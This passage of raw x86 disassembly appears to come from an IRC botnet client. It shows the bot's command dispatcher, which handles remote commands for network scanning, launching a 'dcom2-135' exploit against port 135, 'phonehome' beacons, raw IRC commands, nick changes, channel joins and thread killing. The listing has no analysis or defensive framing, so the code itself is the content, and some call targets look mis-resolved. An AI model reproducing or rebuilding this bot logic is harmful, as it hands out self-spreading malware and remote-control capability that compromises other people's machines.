		cmp	[ebp+var_4], 0
		jnz	short loc_405C74
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_405C74:				; CODE XREF: sub_4021E5+3A6Dj
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	offset aCrash_0	; "crash"
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_8C]
		call	sub_422740
		pop	ecx
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_405CA2:				; CODE XREF: sub_4021E5+3A54j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aScan	; "scan"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_405CE0
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aScan_0	; "scan"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40619B


loc_405CE0:				; CODE XREF: sub_4021E5+3AD8j
		and	[ebp+var_175C],	0
		jmp	short loc_405CF6
; ---------------------------------------------------------------------------


loc_405CE9:				; CODE XREF: sub_4021E5+3B25j
		mov	eax, [ebp+var_175C]
		inc	eax
		mov	[ebp+var_175C],	eax


loc_405CF6:				; CODE XREF: sub_4021E5+3B02j
		mov	eax, [ebp+var_175C]
		imul	eax, 0Bh
		movzx	eax, byte_4491CA[eax]
		test	eax, eax
		jz	short loc_405D0C
		jmp	short loc_405CE9
; ---------------------------------------------------------------------------


loc_405D0C:				; CODE XREF: sub_4021E5+3B23j
		and	[ebp+var_1760],	0
		jmp	short loc_405D22
; ---------------------------------------------------------------------------


loc_405D15:				; CODE XREF: sub_4021E5:loc_40618Ej
		mov	eax, [ebp+var_1760]
		inc	eax
		mov	[ebp+var_1760],	eax


loc_405D22:				; CODE XREF: sub_4021E5+3B2Ej
		mov	eax, [ebp+var_1760]
		imul	eax, 0Bh
		movzx	eax, byte_4491CA[eax]
		test	eax, eax
		jz	loc_406193
		push	0Bh
		call	sub_40D6D9
		pop	ecx
		mov	[ebp+var_1764],	eax
		mov	eax, 190h
		cdq
		idiv	[ebp+var_175C]
		mov	ecx, [ebp+var_1764]
		add	ecx, eax
		cmp	ecx, 1F4h
		jle	short loc_405DA3
		push	[ebp+var_1764]
		push	offset unk_442D28
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h
		jmp	loc_40618E
; ---------------------------------------------------------------------------


loc_405DA3:				; CODE XREF: sub_4021E5+3B7Dj
		mov	[ebp+var_1790],	64h
		mov	[ebp+var_17A4],	5
		cmp	[ebp+var_17A4],	5
		jnb	short loc_405DCC
		mov	[ebp+var_4140],	5
		jmp	short loc_405DD8
; ---------------------------------------------------------------------------


loc_405DCC:				; CODE XREF: sub_4021E5+3BD9j
		mov	eax, [ebp+var_17A4]
		mov	[ebp+var_4140],	eax


loc_405DD8:				; CODE XREF: sub_4021E5+3BE5j
		mov	eax, [ebp+var_4140]
		mov	[ebp+var_17A4],	eax
		cmp	[ebp+var_17A4],	3Ch
		jbe	short loc_405DF9
		mov	[ebp+var_4144],	3Ch
		jmp	short loc_405E05
; ---------------------------------------------------------------------------


loc_405DF9:				; CODE XREF: sub_4021E5+3C06j
		mov	eax, [ebp+var_17A4]
		mov	[ebp+var_4144],	eax


loc_405E05:				; CODE XREF: sub_4021E5+3C12j
		mov	eax, [ebp+var_4144]
		mov	[ebp+var_17A4],	eax
		mov	[ebp+var_17A0],	270Fh
		cmp	[ebp+var_17A0],	320h
		jbe	short loc_405E33
		mov	[ebp+var_4148],	320h
		jmp	short loc_405E3F
; ---------------------------------------------------------------------------


loc_405E33:				; CODE XREF: sub_4021E5+3C40j
		mov	eax, [ebp+var_17A0]
		mov	[ebp+var_4148],	eax


loc_405E3F:				; CODE XREF: sub_4021E5+3C4Cj
		mov	eax, [ebp+var_4148]
		mov	[ebp+var_17A0],	eax
		or	[ebp+var_178C],	0FFFFFFFFh
		and	[ebp+var_175C],	0
		jmp	short loc_405E68
; ---------------------------------------------------------------------------


loc_405E5B:				; CODE XREF: sub_4021E5:loc_405EC6j
		mov	eax, [ebp+var_175C]
		inc	eax
		mov	[ebp+var_175C],	eax


loc_405E68:				; CODE XREF: sub_4021E5+3C74j
		mov	eax, [ebp+var_175C]
		shl	eax, 6
		cmp	dword_448FE8[eax], 0
		jz	short loc_405EC8
		mov	eax, [ebp+var_1760]
		imul	eax, 0Bh
		add	eax, offset dword_4491C0
		push	eax
		mov	eax, [ebp+var_175C]
		shl	eax, 6
		add	eax, offset aDcom2135 ;	"dcom2-135"
		push	eax
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_405EC6
		mov	eax, [ebp+var_175C]
		shl	eax, 6
		mov	eax, dword_448FE8[eax]
		mov	[ebp+var_17A8],	eax
		mov	eax, [ebp+var_175C]
		mov	[ebp+var_178C],	eax
		jmp	short loc_405EC8
; ---------------------------------------------------------------------------


loc_405EC6:				; CODE XREF: sub_4021E5+3CBCj
		jmp	short loc_405E5B
; ---------------------------------------------------------------------------


loc_405EC8:				; CODE XREF: sub_4021E5+3C93j
					; sub_4021E5+3CDFj
		cmp	[ebp+var_17A8],	0
		jnz	short loc_405F1F
		push	offset unk_442D68
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		cmp	[ebp+var_4], 0
		jnz	short loc_405F0A
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_405F0A:				; CODE XREF: sub_4021E5+3D03j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_405F1F:				; CODE XREF: sub_4021E5+3CEAj
		mov	[ebp+var_18D0],	10h
		lea	eax, [ebp+var_18D0]
		push	eax
		lea	eax, [ebp+var_18CC]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E16A4	; getsockname
		movzx	eax, [ebp+var_373]
		neg	eax
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		mov	ecx, [ebp+var_18C8]
		and	ecx, eax
		mov	[ebp+var_18C8],	ecx
		push	10h
		push	[ebp+var_18C8]
		call	dword_4E178C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_18BC]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		movzx	eax, [ebp+var_373]
		neg	eax
		sbb	eax, eax
		neg	eax
		inc	eax
		inc	eax
		mov	[ebp+var_1770],	eax
		push	30h
		lea	eax, [ebp+var_18BC]
		push	eax
		call	sub_422510
		pop	ecx
		pop	ecx
		mov	[ebp+var_1768],	eax
		and	[ebp+var_176C],	0
		jmp	short loc_405FE1
; ---------------------------------------------------------------------------


loc_405FB4:				; CODE XREF: sub_4021E5+3E14j
		mov	eax, [ebp+var_1768]
		mov	byte ptr [eax],	78h
		push	30h
		lea	eax, [ebp+var_18BC]
		push	eax
		call	sub_422510
		pop	ecx
		pop	ecx
		mov	[ebp+var_1768],	eax
		mov	al, [ebp+var_176C]
		add	al, 1
		mov	[ebp+var_176C],	al


loc_405FE1:				; CODE XREF: sub_4021E5+3DCDj
		movsx	eax, [ebp+var_176C]
		cmp	eax, [ebp+var_1770]
		jge	short loc_405FFB
		cmp	[ebp+var_1768],	0
		jz	short loc_405FFB
		jmp	short loc_405FB4
; ---------------------------------------------------------------------------


loc_405FFB:				; CODE XREF: sub_4021E5+3E09j
					; sub_4021E5+3E12j
		mov	[ebp+var_177C],	1
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_1784],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1780],	eax
		push	[ebp+var_98]
		push	80h
		lea	eax, [ebp+var_18AC]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		push	offset dword_4E15B4
		push	offset aMrnetiex ; "##mrnetiex##"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40606D
		push	offset aMrnetiex ; "##mrnetiex##"
		push	80h
		lea	eax, [ebp+var_182C]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		jmp	short loc_406074
; ---------------------------------------------------------------------------


loc_40606D:				; CODE XREF: sub_4021E5+3E6Bj
		and	[ebp+var_182C],	0


loc_406074:				; CODE XREF: sub_4021E5+3E86j
		cmp	[ebp+var_177C],	0
		jz	short loc_406089
		mov	[ebp+var_414C],	offset aRandom ; "Random"
		jmp	short loc_406093
; ---------------------------------------------------------------------------


loc_406089:				; CODE XREF: sub_4021E5+3E96j
		mov	[ebp+var_414C],	offset aSequential ; "Sequential"


loc_406093:				; CODE XREF: sub_4021E5+3EA2j
		push	[ebp+var_1790]
		push	[ebp+var_17A0]
		push	[ebp+var_17A4]
		push	[ebp+var_17A8]
		lea	eax, [ebp+var_18BC]
		push	eax
		push	[ebp+var_414C]
		push	offset unk_442DB4
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 20h
		push	0
		push	0Bh
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_179C],	eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_18BC]
		push	eax
		push	offset dword_40EF74
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_179C]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_179C]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_406140


loc_40612B:				; CODE XREF: sub_4021E5+3F57j
		cmp	[ebp+var_1778],	0
		jnz	short loc_40613E
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_40612B
; ---------------------------------------------------------------------------


loc_40613E:				; CODE XREF: sub_4021E5+3F4Dj
		jmp	short loc_40615B
; ---------------------------------------------------------------------------


loc_406140:				; CODE XREF: sub_4021E5+3F44j
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_442E20
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_40615B:				; CODE XREF: sub_4021E5:loc_40613Ej
		cmp	[ebp+var_4], 0
		jnz	short loc_406181
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_406181:				; CODE XREF: sub_4021E5+3F7Aj
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_40618E:				; CODE XREF: sub_4021E5+3BB9j
		jmp	loc_405D15
; ---------------------------------------------------------------------------


loc_406193:				; CODE XREF: sub_4021E5+3B4Fj
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40619B:				; CODE XREF: sub_4021E5+3AF5j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aPhonehome ; "phonehome"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4061D7
		lea	eax, [ebp+var_B8]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 0Ch
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4061D7:				; CODE XREF: sub_4021E5:loc_403A17j
					; sub_4021E5+32CDj ...
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_9C], 0
		jnz	short loc_4061EF
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4061EF:				; CODE XREF: sub_4021E5+4000j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aExploit	; "exploit"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40636D
		mov	[ebp+var_18E4],	1
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_18DC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_18D8],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_18EC],	eax
		push	offset aMrnetiex ; "##mrnetiex##"
		push	80h
		lea	eax, [ebp+var_196C]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		push	offset aMrnetiex ; "##mrnetiex##"
		push	80h
		lea	eax, [ebp+var_19EC]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	10h
		lea	eax, [ebp+var_19FC]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		lea	eax, [ebp+var_19FC]
		push	eax
		push	offset unk_442E94
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	8
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_18E0],	eax
		lea	eax, [ebp+var_1A00]
		push	eax
		push	0
		lea	eax, [ebp+var_19FC]
		push	eax
		push	offset sub_40DF24
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_18E0]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_18E0]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_406317


loc_406302:				; CODE XREF: sub_4021E5+412Ej
		cmp	[ebp+var_18D4],	0
		jnz	short loc_406315
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_406302
; ---------------------------------------------------------------------------


loc_406315:				; CODE XREF: sub_4021E5+4124j
		jmp	short loc_406332
; ---------------------------------------------------------------------------


loc_406317:				; CODE XREF: sub_4021E5+411Bj
		call	near ptr 27B0F7Fh
		nop
		push	eax
		push	offset unk_442EC4
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_406332:				; CODE XREF: sub_4021E5:loc_406315j
		cmp	[ebp+var_4], 0
		jnz	short loc_406358
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_406358:				; CODE XREF: sub_4021E5+4151j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40636D:				; CODE XREF: sub_4021E5+4025j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4063A7
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aRin	; "rin"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40640B


loc_4063A7:				; CODE XREF: sub_4021E5+41A3j
		push	offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_442F30
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 3E8h
		push	eax
		nop
		call	near ptr 27B048Ah
		xor	eax, eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40640B:				; CODE XREF: sub_4021E5+41C0j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_406445
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aRinms	; "rinms"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4064A3


loc_406445:				; CODE XREF: sub_4021E5+4241j
		push	offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_442F88
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		push	eax
		nop
		call	near ptr 27B048Ah
		xor	eax, eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4064A3:				; CODE XREF: sub_4021E5+425Ej
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aNick_0	; "nick"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4064DD
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aN	; "n"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40651B


loc_4064DD:				; CODE XREF: sub_4021E5+42D9j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aNickS_0	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 0Ch
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_442FC4
		call	sub_417472
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40651B:				; CODE XREF: sub_4021E5+42F6j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aJoin	; "join"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_406555
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aJ	; "j"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4065A0


loc_406555:				; CODE XREF: sub_4021E5+4351j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aJoinSS_1 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 10h
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_443004
		call	sub_417472
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4065A0:				; CODE XREF: sub_4021E5+436Ej
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aPart_1	; "part"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4065DA
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aPt	; "pt"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_406618


loc_4065DA:				; CODE XREF: sub_4021E5+43D6j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aPartS	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 0Ch
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_443040
		call	sub_417472
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_406618:				; CODE XREF: sub_4021E5+43F3j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aRaw	; "raw"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_406652
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aR_1	; "r"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4066B4


loc_406652:				; CODE XREF: sub_4021E5+444Ej
		cmp	[ebp+var_2D4], 0
		jz	short loc_4066AC
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_1A04],	eax
		cmp	[ebp+var_1A04],	0
		jz	short loc_4066AC
		push	[ebp+var_1A04]
		push	offset aS_29	; "%s\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 0Ch
		push	[ebp+var_1A04]
		push	offset dword_443074
		call	sub_417472
		pop	ecx
		pop	ecx


loc_4066AC:				; CODE XREF: sub_4021E5+4474j
					; sub_4021E5+449Dj
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4066B4:				; CODE XREF: sub_4021E5+446Bj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aKillthread ; "killthread"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4066F2
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aK	; "k"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40686A


loc_4066F2:				; CODE XREF: sub_4021E5+44EAj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aAll	; "all"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40678A
		call	sub_40D605
		mov	[ebp+var_5D8], eax
		cmp	[ebp+var_5D8], 0
		jle	short loc_40673F
		push	[ebp+var_5D8]
		push	offset unk_4430A4
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	short loc_406752
; ---------------------------------------------------------------------------


loc_40673F:				; CODE XREF: sub_4021E5+453Cj
		push	offset unk_4430CC
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_406752:				; CODE XREF: sub_4021E5+4558j
		cmp	[ebp+var_4], 0
		jnz	short loc_406778
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_406778:				; CODE XREF: sub_4021E5+4571j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		jmp	loc_406862
; ---------------------------------------------------------------------------


loc_40678A:				; CODE XREF: sub_4021E5+4528j
		mov	eax, [ebp+var_BC]
		inc	eax
		mov	[ebp+var_5D8], eax
		jmp	short loc_4067A6
; ---------------------------------------------------------------------------


loc_406799:				; CODE XREF: sub_4021E5+4678j
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_4067A6:				; CODE XREF: sub_4021E5+45B2j
		cmp	[ebp+var_5D8], 20h
		jnb	loc_406862
		mov	eax, [ebp+var_5D8]
		cmp	[ebp+eax*4+var_A0], 0
		jnz	short loc_4067C8
		jmp	loc_406862
; ---------------------------------------------------------------------------


loc_4067C8:				; CODE XREF: sub_4021E5+45DCj
		mov	eax, [ebp+var_5D8]
		push	[ebp+eax*4+var_A0]
		call	sub_421670
		pop	ecx
		push	eax
		call	sub_40D4E0
		pop	ecx
		test	eax, eax
		jz	short loc_406809
		mov	eax, [ebp+var_5D8]
		push	[ebp+eax*4+var_A0]
		push	offset unk_4430F4
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	short loc_40682A
; ---------------------------------------------------------------------------


loc_406809:				; CODE XREF: sub_4021E5+45FFj
		mov	eax, [ebp+var_5D8]
		push	[ebp+eax*4+var_A0]
		push	offset unk_443118
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_40682A:				; CODE XREF: sub_4021E5+4622j
		cmp	[ebp+var_4], 0
		jnz	short loc_406850
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_406850:				; CODE XREF: sub_4021E5+4649j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		jmp	loc_406799
; ---------------------------------------------------------------------------


loc_406862:				; CODE XREF: sub_4021E5+45A0j
					; sub_4021E5+45C8j ...
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40686A:				; CODE XREF: sub_4021E5+4507j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aC_quit	; "c_quit"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4068A8
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aC_q	; "c_q"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4069AF


loc_4068A8:				; CODE XREF: sub_4021E5+46A0j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		test	eax, eax
		jle	loc_4069A7
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		cmp	eax, 400h
		jge	loc_4069A7
		push	offset aQuitLater_0 ; "QUIT :later\r\n"
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		push	dword_454624[eax]
		call	sub_40AFBE
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 27B048Ah
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		push	dword_454624[eax]
		call	dword_4E1798	; closesocket
		push	[ebp+var_868]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		push	dword_45462C[eax]
		nop
		call	near ptr 27E0D0Ah
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		and	dword_45462C[eax], 0
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		and	byte_454418[eax], 0


loc_4069A7:				; CODE XREF: sub_4021E5+46D8j
					; sub_4021E5+46F6j
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4069AF:				; CODE XREF: sub_4021E5+46BDj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4069ED
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aC_rn	; "c_rn"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_406A83


loc_4069ED:				; CODE XREF: sub_4021E5+47E5j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		test	eax, eax
		jle	short loc_406A7B
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		cmp	eax, 400h
		jge	short loc_406A7B
		push	0
		push	0
		push	2
		lea	eax, [ebp+var_D0]
		push	eax
		call	sub_40CE78
		add	esp, 10h
		push	eax
		push	offset aNickS_1	; "NICK	%s"
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		push	eax
		push	offset aS_1	; "%s\r\n"
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		push	dword_454624[eax]
		call	sub_40AFBE
		add	esp, 0Ch


loc_406A7B:				; CODE XREF: sub_4021E5+481Dj
					; sub_4021E5+4837j
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_406A83:				; CODE XREF: sub_4021E5+4802j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aPrefix	; "prefix"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_406ABD
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aPr	; "pr"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_406B31


loc_406ABD:				; CODE XREF: sub_4021E5+48B9j
		mov	eax, [ebp+var_BC]
		mov	eax, [ebp+eax*4+var_9C]
		mov	al, [eax]
		mov	byte_441090, al
		mov	eax, [ebp+var_BC]
		mov	eax, [ebp+eax*4+var_9C]
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_443190
		lea	eax, [ebp+var_858]
		push	eax
